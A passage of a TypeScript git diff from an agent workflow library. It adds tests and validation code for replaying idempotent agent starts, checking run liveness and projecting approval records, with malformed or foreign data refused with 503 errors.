+  ])('refuses HTTP %s liveness without claiming', async (status) => {
+    const h = await retry(async () =>
+      Response.json(
+        { live: false, error: 'private transport detail' },
+        { status },
+      ),
+    );
+    expect(h.outcome).toBeInstanceOf(RunRouteError);
+    expect(h.outcome).toMatchObject({
+      status: 503,
+      message: 'run start liveness is not readable',
+    });
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+    expect(h.starts).toEqual([]);
+  });
+
+  it('refuses a liveness accessor without invoking it or claiming', async () => {
+    const live = vi.fn(() => false);
+    const h = await retry(async () => {
+      const response = Response.json({});
+      vi.spyOn(response, 'json').mockResolvedValue(
+        Object.defineProperty({}, 'live', { get: live }),
+      );
+      return response;
+    });
+    expect(live).not.toHaveBeenCalled();
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+    expect(h.starts).toEqual([]);
+    expect(h.outcome).toBeInstanceOf(RunRouteError);
+    expect(h.outcome).toMatchObject({
+      status: 503,
+      message: 'run start liveness is not readable',
+    });
+  });
+
+  it('refuses invalid liveness JSON without claiming', async () => {
+    const h = await retry(async () => new Response('{'));
+    expect(h.outcome).toBeInstanceOf(RunRouteError);
+    expect(h.outcome).toMatchObject({
+      status: 503,
+      message: 'run start liveness is not readable',
+    });
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+    expect(h.starts).toEqual([]);
+  });
+
+  it('propagates a thrown liveness fetch without claiming', async () => {
+    const failure = new Error('liveness fetch failed');
+    const h = await retry(async () => {
+      throw failure;
+    });
+    expect(h.outcome).toBe(failure);
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+    expect(h.starts).toEqual([]);
+  });
+});
+
+describe('FS8 D3 protected replay agent wire', () => {
+  const execution = {
+    tablePrefix: 'private_',
+    workflowId: 'actual-agent-workflow',
+    runId: 'wire-run',
+    startToken: 'wire-generation',
+    owner: { kind: 'human', id: 'operator-1' },
+    target: { kind: 'agent', id: 'writer', threadId: 'wire-thread' },
+  };
+  const value = {
+    agentId: 'writer',
+    threadId: 'wire-thread',
+    resourceId: 'acme_resource_wire-thread',
+    runId: 'wire-run',
+    summary: {
+      runId: 'wire-run',
+      status: 'success',
+      result: { startToken: 'application-payload' },
+    },
+  };
+  async function replay(payload: unknown, status = 200) {
+    const store = new StartIdempotencyStore(
+      sqliteUnitDatabase(openSqlite()) as StartIdempotencyDatabase,
+    );
+    await store.reserve({
+      key: 'wire-key',
+      owner: { kind: 'human', id: 'operator-1' },
+      targetKind: 'agent',
+      targetId: 'writer',
+      threadId: 'wire-thread',
+      mintRunId: () => 'wire-run',
+    });
+    const hits: string[] = [];
+    const topology = createAgentThreadTopology(
+      {
+        idFromName: (name: string) => name,
+        get: () => ({
+          fetch: (async (request: Request | string) => {
+            const url = typeof request === 'string' ? request : request.url;
+            hits.push(url);
+            if (url.endsWith('/start-liveness'))
+              return Response.json({ live: true });
+            return Response.json(payload, { status });
+          }) as ReturnType<ThreadNamespaceLike<string>['get']>['fetch'],
+        }),
+      },
+      DEPLOYMENT_IDENTITY_SECRET,
+      { startIdempotency: store, executionFence: 'none' },
+    );
+    const outcome = await topology
+      .start(context().value, {
+        agentId: 'writer',
+        prompt: 'retry',
+        entryPath: 'http.start',
+        idempotencyKey: 'wire-key',
+        threaded: false,
+      })
+      .then(
+        (result) => ({ result }),
+        (error: unknown) => ({ error }),
+      );
+    return { store, hits, outcome };
+  }
+
+  it('keeps the selected agent value while omitting private and unknown structural data', async () => {
+    const result = await replay({
+      kind: 'result',
+      execution,
+      value: { ...value, unknown: 'omit' },
+      snapshot: 'omit',
+    });
+    expect(result.outcome).toEqual({ result: value });
+    expect(result.hits[0]).toContain('dispatch=1&replay=1');
+    expect(
+      (await result.store.readForAdmission('wire-key'))?.binding,
+    ).toMatchObject({
+      kind: 'bound',
+      execution: { startToken: 'wire-generation' },
+    });
+  });
+
+  it('keeps the encoded selector mismatch non-absent without claiming or probing liveness', async () => {
+    const response = doErrorResponse(
+      new AgentRunSelectorMismatchError(execution.workflowId, execution.runId),
+    );
+    expect(response.status).toBe(503);
+    const result = await replay(await response.json(), response.status);
+    expect(result.outcome).toMatchObject({ error: { status: 503 } });
+    expect(result.hits).toHaveLength(1);
+    expect(result.hits[0]).toContain('dispatch=1&replay=1');
+    expect(await result.store.readForAdmission('wire-key')).toMatchObject({
+      state: 'reserved',
+      binding: { kind: 'unbound' },
+    });
+  });
+
+  it('does not associate or replay a valid initial agent identity', async () => {
+    const result = await replay({ kind: 'initial', execution });
+    expect((await result.store.readForAdmission('wire-key'))?.binding).toEqual({
+      kind: 'unbound',
+    });
+    expect(result.hits).toHaveLength(2);
+    expect(result.outcome).toMatchObject({
+      error: { status: 503, reason: { code: 'IDEMPOTENT_START_PENDING' } },
+    });
+  });
+
+  it.each([
+    ['discriminator', { execution, value }],
+    ['initial value', { kind: 'initial', execution, value }],
+    ['missing value', { kind: 'result', execution }],
+    [
+      'owner',
+      {
+        kind: 'result',
+        execution: { ...execution, owner: { kind: 'human', id: 'other' } },
+        value,
+      },
+    ],
+    [
+      'agent target',
+      {
+        kind: 'result',
+        execution: {
+          ...execution,
+          target: { ...execution.target, id: 'other' },
+        },
+        value,
+      },
+    ],
+    [
+      'thread target',
+      {
+        kind: 'result',
+        execution: {
+          ...execution,
+          target: { ...execution.target, threadId: 'other' },
+        },
+        value,
+      },
+    ],
+    [
+      'physical run',
+      { kind: 'result', execution: { ...execution, runId: 'other' }, value },
+    ],
+    [
+      'generation',
+      {
+        kind: 'result',
+        execution: { ...execution, startToken: undefined },
+        value,
+      },
+    ],
+    [
+      'prefix',
+      {
+        kind: 'result',
+        execution: { ...execution, tablePrefix: 'PRIVATE_' },
+        value,
+      },
+    ],
+    [
+      'resource',
+      { kind: 'result', execution, value: { ...value, resourceId: 'other' } },
+    ],
+    [
+      'summary run',
+      {
+        kind: 'result',
+        execution,
+        value: { ...value, summary: { ...value.summary, runId: 'other' } },
+      },
+    ],
+    [
+      'pending',
+      {
+        kind: 'result',
+        execution,
+        value: { ...value, summary: { ...value.summary, status: 'pending' } },
+      },
+    ],
+    [
+      'envelope authority',
+      { kind: 'result', execution, value: { ...value, startToken: 'private' } },
+    ],
+    [
+      'summary authority',
+      {
+        kind: 'result',
+        execution,
+        value: { ...value, summary: { ...value.summary, requestContext: {} } },
+      },
+    ],
+  ])('refuses malformed agent private data before association: %s', async (_field, payload) => {
+    const result = await replay(payload);
+    expect((await result.store.readForAdmission('wire-key'))?.binding).toEqual({
+      kind: 'unbound',
+    });
+    expect(result.hits).toHaveLength(1);
+    expect(result.outcome).toMatchObject({
+      error: { status: 503, message: 'persisted start is not readable' },
+    });
+  });
+
+  it('projects approval fields and rejects foreign workflow or authority structure', async () => {
+    const approval = {
+      id: 'approval-1',
+      workflowId: execution.workflowId,
+      runId: execution.runId,
+      title: 'Review',
+      connectors: [],
+      priority: 'normal',
+      status: 'pending',
+      createdAt: '2026-09-07T00:00:00Z',
+      updatedAt: '2026-09-07T00:00:00Z',
+      payload: { startToken: 'application' },
+    };
+    const accepted = await replay({
+      kind: 'result',
+      execution,
+      value: {
+        ...value,
+        approval: { ...approval, extra: 'omit' },
+        approvals: [approval],
+      },
+    });
+    expect(accepted.outcome).toEqual({
+      result: { ...value, approval, approvals: [approval] },
+    });
+    for (const replacement of [
+      { workflowId: 'foreign-workflow' },
+      { startToken: 'private' },
+    ]) {
+      const refused = await replay({
+        kind: 'result',
+        execution,
+        value: { ...value, approval: { ...approval, ...replacement } },
+      });
+      expect(
+        (await refused.store.readForAdmission('wire-key'))?.binding,
+      ).toEqual({ kind: 'unbound' });
+      expect(refused.outcome).toMatchObject({
+        error: { status: 503, message: 'persisted start is not readable' },
+      });
+    }
+  });
+});
diff --git a/packages/flowsafe/src/agent-host/thread-topology.ts b/packages/flowsafe/src/agent-host/thread-topology.ts
index 1d56d23a..c53dcc1b 100644
--- a/packages/flowsafe/src/agent-host/thread-topology.ts
+++ b/packages/flowsafe/src/agent-host/thread-topology.ts
@@ -1,20 +1,44 @@
 // SPDX-License-Identifier: Apache-2.0
 
+import { captureActorContext } from '../approval-api/actor-context.js';
 import {
   type ActorContext,
   type ApprovalDecision,
   type ApprovalRecord,
   defaultResumeData,
 } from '../approval-api/index.js';
+import {
+  isExecutionPrincipalId,
+  isExecutionPrincipalKind,
+} from '../approval-api/principal.js';
+import {
+  APPROVAL_PRIORITIES,
+  APPROVAL_STATUSES,
+  canonicalApprovalResumeTarget,
+} from '../approval-api/types.js';
+import type { StartExecutionIdentity } from '../do-runner/execution-admission.js';
 import {
   beginIdempotentStart,
   type ExecutionFenceWiring,
   isPathSafeId,
+  type PersistedStartResult,
   requireStartIdempotency,
-  rollbackFencedStart,
+  resourceIdFromKey,
   type StartIdempotencyWiring,
   type StartReservation,
+  type StartReservationReading,
 } from '../do-runner/index.js';
+import {
+  captureReservation,
+  type StartReservationOwner,
+} from '../do-runner/start-reservation-contract.js';
+import {
+  doStartLiveness,
+  persistedStartExecution,
+  persistedStartRecord,
+  publicRunSummary,
+  publicStartFields,
+} from '../host-kit/do-response.js';
 import {
   type BoundThreadTarget,
   type BoundThreadTargetValidator,
@@ -273,9 +297,10 @@ export function createAgentThreadTopology<Id>(
     context: ActorContext,
     agentId: string,
     reservation: StartReservation,
-  ): Promise<AgentRunEnvelope | undefined> => {
+  ): Promise<PersistedStartResult<AgentRunEnvelope> | undefined> => {
     const threadId = reservation.threadId;
-    if (threadId === undefined || !isPathSafeId(threadId)) return undefined;
+    if (threadId === undefined || !isPathSafeId(threadId))
+      throw new RunRouteError(503, 'persisted start is not readable');
     const response = await threads.send(
       context,
       threadId,
@@ -285,21 +310,17 @@ export function createAgentThreadTopology<Id>(
         reservation.runId,
       )}?resourceId=${encodeURIComponent(
         context.resourceIdFromKey(threadId),
-      )}&dispatch=1`,
+      )}&dispatch=1&replay=1`,
     );
     if (response.status === 404) return undefined;
-    return envelope(response);
+    return persistedEnvelope(response, {
+      agentId,
+      threadId,
+      resourceId: context.resourceIdFromKey(threadId),
+      runId: reservation.runId,
+      owner: reservation.owner,
+    });
   };
-  /**
-   * Is the reserved run executing in its thread object right now?
-   *
-   * Asked of the RECORDED thread, which is the only object that could be
-   * running it: an agent run is bound to one thread for its whole life. An
-   * unreachable or unparseable answer reads as NOT live, the fail-closed
-   * direction here — it produces the refusal that asks a human to investigate,
-   * where a default of "live" would answer a permanently dead run with a
-   * permanently retryable 503.
-   */
   const reservedRunLive = async (
     context: ActorContext,
     agentId: string,
@@ -314,12 +335,7 @@ export function createAgentThreadTopology<Id>(
         agentId,
       )}/${encodeURIComponent(reservation.runId)}/start-liveness`,
     );
-    if (response.status !== 200) return false;
-    try {
-      return ((await response.json()) as { live?: unknown }).live === true;
-    } catch {
-      return false;
-    }
+    return doStartLiveness(response);
   };
   return {
     requireBoundThread: async (context, target: BoundThreadTarget) => {
@@ -353,8 +369,40 @@ export function createAgentThreadTopology<Id>(
       );
       if (!response.ok) throw await errorFrom(response);
     },
-    start: async (context, input) => {
-      const threaded = input.threaded !== false;
+    start: async (sourceContext, sourceInput) => {
+      const context = captureActorContext(sourceContext);
+      const { principal, mutationEpoch } = context;
+      const {
+        agentId,
+        entryPath,
+        runId: suppliedRunId,
+        threadId: suppliedThreadId,
+        resourceId: suppliedResourceId,
+        topologyThreadId,
+        threaded: suppliedThreaded,
+        scheduleId,
+        dispatchId,
+        idempotencyKey,
+        prompt,
+        requestContext,
+        streamRequestContext,
+        providerOptions,
+      } = sourceInput;
+      const input = {
+        agentId,
+        entryPath,
+        threadId: suppliedThreadId,
+        resourceId: suppliedResourceId,
+        topologyThreadId,
+        scheduleId,
+        dispatchId,
+        idempotencyKey,
+        prompt,
+        requestContext,
+        streamRequestContext,
+        providerOptions,
+      };
+      const threaded = suppliedThreaded !== false;
       if (
         (input.entryPath === 'schedule.fire') !==
           (input.scheduleId !== undefined) ||
@@ -388,10 +436,10 @@ export function createAgentThreadTopology<Id>(
       // its own, which is what makes two same-key starts converge instead of
       // becoming two runs.
       const mintRunId = (): string =>
-        input.runId === undefined
+        suppliedRunId === undefined
           ? context.newRunId()
-          : isPathSafeId(input.runId)
-            ? input.runId
+          : isPathSafeId(suppliedRunId)
+            ? suppliedRunId
             : (() => {
                 throw new RunRouteError(404, 'run not found');
               })();
@@ -419,10 +467,15 @@ export function createAgentThreadTopology<Id>(
         targetThreadId: string,
         targetRunId: string,
         idempotencyKey?: string,
-      ): Promise<AgentRunEnvelope> =>
-        envelope(
+        suppliedReservation?: StartReservationReading,
+      ): Promise<AgentRunEnvelope> => {
+        const startReservation =
+          suppliedReservation === undefined
+            ? undefined
+            : captureReservation(suppliedReservation, 'started');
+        return envelope(
           await threads.send(
-            context,
+            { principal, mutationEpoch },
             targetThreadId,
             `${AGENT_HOST_ROUTE_PREFIX}/start`,
             {
@@ -441,6 +494,7 @@ export function createAgentThreadTopology<Id>(
                 // The key rides the internal Worker-to-DO channel only, so the
                 // fence's proof-only state can match it inside the runtime.
                 ...(idempotencyKey === undefined ? {} : { idempotencyKey }),
+                ...(startReservation === undefined ? {} : { startReservation }),
                 ...(input.scheduleId !== undefined
                   ? { scheduleId: input.scheduleId }
                   : {}),
@@ -451,6 +505,7 @@ export function createAgentThreadTopology<Id>(
             },
           ),
         );
+      };
       if (input.idempotencyKey === undefined) {
         // Unkeyed starts take the path they always took, on the thread this
         // call resolved.
@@ -462,8 +517,8 @@ export function createAgentThreadTopology<Id>(
         {
           key: input.idempotencyKey,
           owner: {
-            kind: context.principal.kind,
-            id: context.principal.id,
+            kind: principal.kind,
+            id: principal.id,
           },
           targetKind: 'agent',
           targetId: input.agentId,
@@ -477,28 +532,22 @@ export function createAgentThreadTopology<Id>(
             reservedRunLive(context, input.agentId, reservation),
         },
         options.executionFence,
+        mutationEpoch,
       );
       if (decision.kind === 'replay') return decision.persisted;
       // The RESERVATION's thread and run, not this call's: on a re-claim of a
       // reservation an earlier crashed caller left behind, the recorded thread
       // is where that run belongs and this call's freshly minted one is not.
       const { reservation } = decision;
-      const startThreadId = reservation.threadId ?? threadId;
-      try {
-        return await sendStart(
-          startThreadId,
-          reservation.runId,
-          reservation.key,
-        );
-      } catch (error) {
-        // Only a fence refusal gives the claim back — see rollbackFencedStart.
-        return rollbackFencedStart(
-          store,
-          reservation.key,
-          reservation.runId,
-          error,
-        );
-      }
+      const startThreadId = reservation.threadId;
+      if (!isPathSafeId(startThreadId))
+        throw new RunRouteError(503, 'persisted start is not readable');
+      return sendStart(
+        startThreadId,
+        reservation.runId,
+        reservation.key,
+        reservation,
+      );
     },
     status: statusFromHost,
     dispatchStatus: dispatchStatusFromHost,
@@ -615,3 +664,210 @@ export function createAgentThreadTopology<Id>(
     },
   };
 }
+
+function publicApproval(
+  value: unknown,
+  execution: StartExecutionIdentity,
+): ApprovalRecord {
+  const record = publicStartFields(value, [
+    'id',
+    'workflowId',
+    'runId',
+    'stepPath',
+    'title',
+    'summary',
+    'payload',
+    'connectors',
+    'grantScope',
+    'toolCallId',
+    'priority',
+    'status',
+    'requestedBy',
+    'requestedByKind',
+    'claimedBy',
+    'decidedBy',
+    'decision',
+    'comment',
+    'delegatedTo',
+    'createdAt',
+    'updatedAt',
+    'claimedAt',
+    'decidedAt',
+    'escalatedAt',
+    'slaDeadlineAt',
+    'suspendedAt',
+    'resumedAt',
+    'resumeCount',
+    'runScoped',
+    'resumeTarget',
+  ]);
+  const invalid = (): never => {
+    throw new RunRouteError(503, 'persisted start is not readable');
+  };
+  if (
+    !isPathSafeId(record.id) ||
+    record.workflowId !== execution.workflowId ||
+    record.runId !== execution.runId ||
+    typeof record.title !== 'string' ||
+    typeof record.createdAt !== 'string' ||
+    typeof record.updatedAt !== 'string' ||
+    !(APPROVAL_PRIORITIES as readonly unknown[]).includes(record.priority) ||
+    !(APPROVAL_STATUSES as readonly unknown[]).includes(record.status)
+  )
+    invalid();
+  for (const field of ['connectors', 'stepPath']) {
+    if (
+      (field === 'connectors' || record[field] !== undefined) &&
+      (!Array.isArray(record[field]) ||
+        (record[field] as unknown[]).some((part) => typeof part !== 'string'))
+    )
+      invalid();
+  }
+  for (const field of [
+    'summary',
+    'toolCallId',
+    'claimedBy',
+    'decidedBy',
+    'comment',
+    'delegatedTo',
+    'claimedAt',
+    'decidedAt',
+    'escalatedAt',
+    'slaDeadlineAt',
+  ]) {
+    if (record[field] !== undefined && typeof record[field] !== 'string')
+      invalid();
+  }
+  if (
+    record.requestedBy !== undefined &&
+    !isExecutionPrincipalId(record.requestedBy)
+  )
+    invalid();
+  if (
+    record.requestedByKind !== undefined &&
+    (!isExecutionPrincipalKind(record.requestedByKind) ||
+      record.requestedBy === undefined)
+  )
+    invalid();
+  if (
+    record.grantScope !== undefined &&
+    !['tool-call', 'suspension', 'run'].includes(record.grantScope as string)
+  )
+    invalid();
+  if (
+    record.decision !== undefined &&
+    record.decision !== 'approve' &&
+    record.decision !== 'reject'
+  )
+    invalid();
+  if (record.runScoped !== undefined && typeof record.runScoped !== 'boolean')
+    invalid();
+  for (const field of ['suspendedAt', 'resumedAt', 'resumeCount']) {
+    const value = record[field];
+    if (
+      value !== undefined &&
+      (typeof value !== 'number' ||
+        !Number.isFinite(value) ||
+        (field === 'resumeCount' &&
+          (!Number.isSafeInteger(value) || value < 0)))
+    )
+      invalid();
+  }
+  if (record.resumeTarget !== undefined) {
+    const target = canonicalApprovalResumeTarget(record.resumeTarget);
+    if (!target) invalid();
+    if (
+      target?.kind === 'agent-thread' &&
+      (execution.target.kind !== 'agent' ||
+        target.agentId !== execution.target.id ||
+        target.threadId !== execution.target.threadId ||
+        target.resourceId !== resourceIdFromKey(target.threadId))
+    )
+      invalid();
+    record.resumeTarget = target;
+  }
+  return record as unknown as ApprovalRecord;
+}
+
+/** @internal Project the private replay envelope without execution authority. */
+export function publicAgentRunEnvelope(
+  value: unknown,
+  execution: StartExecutionIdentity,
+  expected: {
+    agentId: string;
+    threadId: string;
+    resourceId: string;
+    runId: string;
+  },
+): AgentRunEnvelope {
+  const source = publicStartFields(value, [
+    'agentId',
+    'threadId',
+    'resourceId',
+    'runId',
+    'summary',
+    'approval',
+    'approvals',
+  ]);
+  if (
+    source.agentId !== expected.agentId ||
+    source.threadId !== expected.threadId ||
+    source.resourceId !== expected.resourceId ||
+    source.runId !== expected.runId
+  )
+    throw new RunRouteError(503, 'persisted start is not readable');
+  const result: AgentRunEnvelope = {
+    agentId: expected.agentId,
+    threadId: expected.threadId,
+    resourceId: expected.resourceId,
+    runId: expected.runId,
+    summary: publicRunSummary(source.summary, expected.runId),
+  };
+  if (source.approval !== undefined)
+    result.approval = publicApproval(source.approval, execution);
+  if (source.approvals !== undefined) {
+    if (!Array.isArray(source.approvals))
+      throw new RunRouteError(503, 'persisted start is not readable');
+    result.approvals = source.approvals.map((approval) =>
+      publicApproval(approval, execution),
+    );
+  }
+  return result;
+}
+
+async function persistedEnvelope(
+  response: Response,
+  expected: {
+    agentId: string;
+    threadId: string;
+    resourceId: string;
+    runId: string;
+    owner: StartReservationOwner;
+  },
+): Promise<PersistedStartResult<AgentRunEnvelope>> {
+  if (!response.ok) throw await errorFrom(response);
+  try {
+    const payload = persistedStartRecord(await response.json());
+    const execution = persistedStartExecution(payload.execution);
+    if (
+      execution.runId !== expected.runId ||
+      execution.owner.kind !== expected.owner.kind ||
+      execution.owner.id !== expected.owner.id ||
+      execution.target.kind !== 'agent' ||
+      execution.target.id !== expected.agentId ||
+      execution.target.threadId !== expected.threadId
+    )
+      throw new Error('selector mismatch');
+    if (payload.kind === 'initial' && !Object.hasOwn(payload, 'value'))
+      return { kind: 'initial', execution };
+    if (payload.kind !== 'result' || !Object.hasOwn(payload, 'value'))
+      throw new Error('invalid result');
+    return {
+      kind: 'result',
+      execution,
+      value: publicAgentRunEnvelope(payload.value, execution, expected),
+    };
+  } catch {
+    throw new RunRouteError(503, 'persisted start is not readable');
+  }
+}
diff --git a/packages/flowsafe/src/agent-runner/agent-gate-round-trip.test.ts b/packages/flowsafe/src/agent-runner/agent-gate-round-trip.test.ts
index 7d59bfc9..7851529f 100644
--- a/packages/flowsafe/src/agent-runner/agent-gate-round-trip.test.ts
+++ b/packages/flowsafe/src/agent-runner/agent-gate-round-trip.test.ts
@@ -627,6 +627,17 @@ describe('agent gate grant round-trip (both suspension shapes)', () => {
       },
       'operator-1',
       'human',
+      undefined,
+      undefined,
+      undefined,
+      {
+        startIdentity: {
+          owner: { kind: 'human', id: 'operator-1' },
+          target: { kind: 'agent', id: 'writer', threadId: runId },
+        },
+        agentStart: { threaded: false },
+        onPreparedStartIdentity: undefined,
+      },
     );
     const started = await runtime.status(
       DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
diff --git a/packages/flowsafe/src/agent-runner/agent-run-state.test.ts b/packages/flowsafe/src/agent-runner/agent-run-state.test.ts
index ebf51171..323bcbf5 100644
--- a/packages/flowsafe/src/agent-runner/agent-run-state.test.ts
+++ b/packages/flowsafe/src/agent-runner/agent-run-state.test.ts
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: Apache-2.0
 import { describe, expect, it } from 'vitest';
 
-import type { DurableKeyValueStorage } from '../do-runner/index.js';
+import { durableKeyValueStorageFixture } from '../../test-support/durable-key-value-storage.js';
 import {
   AgentRunStateConflictError,
   AgentRunStateError,
@@ -12,23 +12,9 @@ import {
   writeAgentRunRecord,
 } from './agent-run-state.js';
 
-function memoryStorage(): DurableKeyValueStorage & {
-  values: Map<string, unknown>;
-} {
-  const values = new Map<string, unknown>();
-  return {
-    values,
-    get: async <T>(key: string) => values.get(key) as T | undefined,
-    put: async (key, value) => {
-      values.set(key, structuredClone(value));
-    },
-    delete: async (key) => values.delete(key),
-  };
-}
-
 describe('durable agent thread/run metadata', () => {
   it('binds a thread once and rejects an agent/resource change', async () => {
-    const storage = memoryStorage();
+    const { storage } = durableKeyValueStorageFixture();
     const binding = {
       version: 1 as const,
       agentId: 'writer',
@@ -44,7 +30,7 @@ describe('durable agent thread/run metadata', () => {
   });
 
   it('preserves the original principal until terminal cleanup', async () => {
-    const storage = memoryStorage();
+    const { storage } = durableKeyValueStorageFixture();
     const record = {
       version: 2 as const,
       agentId: 'writer',
@@ -73,7 +59,7 @@ describe('durable agent thread/run metadata', () => {
   });
 
   it('snapshots run metadata before awaiting storage', async () => {
-    const storage = memoryStorage();
+    const { storage } = durableKeyValueStorageFixture();
     const record = {
       version: 2 as const,
       agentId: 'writer',
@@ -102,8 +88,8 @@ describe('durable agent thread/run metadata', () => {
   });
 
   it('fails closed on malformed persisted state and malformed run principals', async () => {
-    const storage = memoryStorage();
-    storage.values.set('flowsafe:agent-thread-binding:v1', {
+    const { storage, values } = durableKeyValueStorageFixture();
+    values.set('flowsafe:agent-thread-binding:v1', {
       version: 2,
       agentId: '../writer',
       resourceId: 'acme_resource',
@@ -142,7 +128,7 @@ describe('agent run metadata migration', () => {
   it('rejects a version-1 record rather than upgrading it to a human', async () => {
     // #given — exactly what the previous release wrote for a schedule.fire run:
     // an ApprovalActor whose fabricated role was 'operator'.
-    const storage = memoryStorage();
+    const { storage } = durableKeyValueStorageFixture();
     await storage.put('flowsafe:agent-run:v1:acme_run-1', {
       version: 1,
       agentId: 'writer',
@@ -159,7 +145,7 @@ describe('agent run metadata migration', () => {
 
   it('rejects a version-2 record whose principal is still an ApprovalActor', async () => {
     // #given — the shape change, not just the version number.
-    const storage = memoryStorage();
+    const { storage } = durableKeyValueStorageFixture();
     await storage.put('flowsafe:agent-run:v1:acme_run-2', {
       version: 2,
       agentId: 'writer',
@@ -175,7 +161,7 @@ describe('agent run metadata migration', () => {
 
   it('rejects an automated principal that carries no purpose', async () => {
     // #given — purpose is the provenance the whole model restores.
-    const storage = memoryStorage();
+    const { storage } = durableKeyValueStorageFixture();
     await storage.put('flowsafe:agent-run:v1:acme_run-3', {
       version: 2,
       agentId: 'writer',
diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts
index 61632c3d..ba8622ab 100644
--- a/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts
+++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts
@@ -25,6 +25,7 @@ import {
   MessageList,
 } from '@mastra/core/agent/message-list';
 import { EventEmitterPubSub } from '@mastra/core/events';
+import type { MastraModelConfig } from '@mastra/core/llm';
 import { MockMemory } from '@mastra/core/memory';
 import {
   type OutputResult,
@@ -39,18 +40,52 @@ import {
   denyPatterns,
   type Role,
 } from '@proofoftech/breakwater';
-import { afterEach, describe, expect, it, vi } from 'vitest';
+import {
+  afterEach,
+  assert,
+  describe,
+  expect,
+  expectTypeOf,
+  it,
+  vi,
+} from 'vitest';
 import { z } from 'zod';
 
+import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import { createD1Storage } from '../do-runner/d1-storage.js';
+import {
+  type ExecutionFenceDatabase,
+  ExecutionFenceStore,
+} from '../do-runner/execution-fence.js';
 import {
+  FENCED_WORKFLOW_STORAGE,
+  type FencedWorkflowAdmissionCapability,
+} from '../do-runner/fenced-workflow-capability.js';
+import type { FencedWorkflowsStorageD1 } from '../do-runner/fenced-workflows-d1.js';
+import {
+  createHostPubSub,
+  doErrorResponse,
+  InvalidExecutionIdentityError,
+  InvalidMutationEpochError,
   InvalidRunRequestError,
+  type RequestContextProvider,
   type RunnerRuntime,
+  type StartRunOptions,
 } from '../do-runner/index.js';
+import { init } from '../do-runner/init.js';
+import {
+  RunStateUnreadableError,
+  UnknownRunError,
+} from '../do-runner/runtime.js';
 import {
+  AgentRunSelectorMismatchError,
+  type AgentStartAuthority,
+  type AuthoritativeAgentStartState,
   createFlowsafeDurableAgent,
   DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
   type FlowsafeDurableAgent,
   isRuntimeDrivenAgent,
+  type LegacyAgentRunState,
 } from './durable-agent-runner.js';
 
 // A fake runtime that records register() and start() and models the shared-id
@@ -72,7 +107,7 @@ function fakeRuntime(
   });
   const workflowIds = vi.fn(() => [...registered]);
   const start = vi.fn(
-    async (_workflowId: string, options: { runId: string }) =>
+    async (_workflowId: string, options: StartRunOptions) =>
       overrides.startResult ?? {
         runId: options.runId,
         status: 'suspended' as const,
@@ -245,11 +280,1164 @@ function drive(
   ).executeWorkflow(runId, input);
 }
 
-const INPUT = {
+function startAuthority(): AgentStartAuthority {
+  return {
+    mutationEpoch: 2,
+    startIdentity: {
+      owner: { kind: 'human', id: 'operator-1' },
+      target: { kind: 'agent', id: 'writer', threadId: 'thread-1' },
+    },
+    agentStart: { threaded: false },
+    onPreparedStartIdentity: undefined,
+  };
+}
+
+const INPUT: DurableAgenticWorkflowInput = {
   __workflowKind: 'durable-agent',
   runId: 'run-1',
   agentId: 'writer',
-} as unknown as DurableAgenticWorkflowInput;
+  messageListState: new MessageList().serialize(),
+  toolsMetadata: [],
+  modelConfig: { provider: 'test', modelId: 'local' },
+  options: {},
+  state: {},
+  messageId: 'message-1',
+};
+
+function bridgeFixture() {
+  const fake = fakeRuntime();
+  const agent = createFlowsafeDurableAgent({
+    agent: testAgent(),
+    runtime: fake.runtime,
+  });
+  const streamResult = { output: { id: 'output' } };
+  const stream = vi
+    .spyOn(agent, 'stream')
+    .mockResolvedValue(streamResult as never);
+  const start = (
+    authority: AgentStartAuthority = startAuthority(),
+    runId = 'run-1',
+    dispatch?: { scheduleId: string; dispatchId: string },
+  ) =>
+    agent.streamUntilPersisted(
+      'hello',
+      { runId },
+      'operator-1',
+      'human',
+      'attempt-original',
+      dispatch,
+      'key-original',
+      authority,
+    );
+  return { ...fake, agent, stream, startHost: start, streamResult };
+}
+
+function bridgeDeferred() {
+  let resolve!: () => void;
+  const promise = new Promise<void>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
+
+async function cRefusedAuthority(source: unknown, expected: Error) {
+  const f = bridgeFixture();
+  const nativeSet = Map.prototype.set;
+  const installed: unknown[] = [];
+  const set = vi.spyOn(Map.prototype, 'set').mockImplementation(function (
+    this: Map<unknown, unknown>,
+    key,
+    value,
+  ) {
+    if (key === 'run-1') installed.push(value);
+    return nativeSet.call(this, key, value);
+  });
+  const entered = bridgeDeferred();
+  const stream = f.stream.getMockImplementation();
+  if (!stream) throw new Error('missing bridge stream fixture');
+  f.stream.mockImplementation((...args) => {
+    entered.resolve();
+    return stream.apply(f.agent, args);
+  });
+  const pending = f.startHost(source as AgentStartAuthority);
+  const outcome = pending.catch((cause: unknown) => cause);
+  try {
+    const error = await Promise.race([
+      outcome,
+      entered.promise.then(() => Symbol('stream started before refusal')),
+    ]);
+    expect(error, 'authority must be refused before stream').toBeInstanceOf(
+      Error,
+    );
+    expect(Object.getPrototypeOf(error)).toBe(Object.getPrototypeOf(expected));
+    expect(error).toEqual(expected);
+    if (
+      expected instanceof InvalidExecutionIdentityError ||
+      expected instanceof InvalidMutationEpochError
+    ) {
+      expect(error).toMatchObject({
+        name: expected.name,
+        message: expected.message,
+        status: 400,
+        reason: expected.reason,
+      });
+    } else expect(error).toBe(expected);
+    expect(f.stream).not.toHaveBeenCalled();
+    expect(f.start).not.toHaveBeenCalled();
+    expect(installed).toEqual([]);
+  } finally {
+    set.mockRestore();
+    if (f.stream.mock.calls.length)
+      await drive(f.agent, 'run-1', INPUT).catch(() => undefined);
+    await outcome;
+    f.stream.mockImplementation(stream);
+  }
+  await expect(
+    Promise.all([f.startHost(), drive(f.agent, 'run-1', INPUT)]),
+  ).resolves.toHaveLength(2);
+}
+
+function cLocalModel(onCall: () => void): MastraModelConfig {
